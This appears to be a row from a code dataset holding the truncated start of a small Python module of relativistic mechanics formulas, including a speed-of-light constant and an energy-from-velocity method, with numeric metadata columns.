] | null | null | null | ##########################################
#Constants
c = 299792458
##########################################
'''Just some formulas of relativistic mechanics'''
#YuPie
| 28.192308 | 69 | 0.420191 | ##########################################
#Constants
c = 299792458
##########################################
'''Just some formulas of relativistic mechanics'''
#YuPie
class RelativisticEnergy():
def energyVelocity(V, m_0):
'''Velocity must be l... | 0 | 0 | 0 | 483 | 0 | 0 | 0 | 0 | 25 |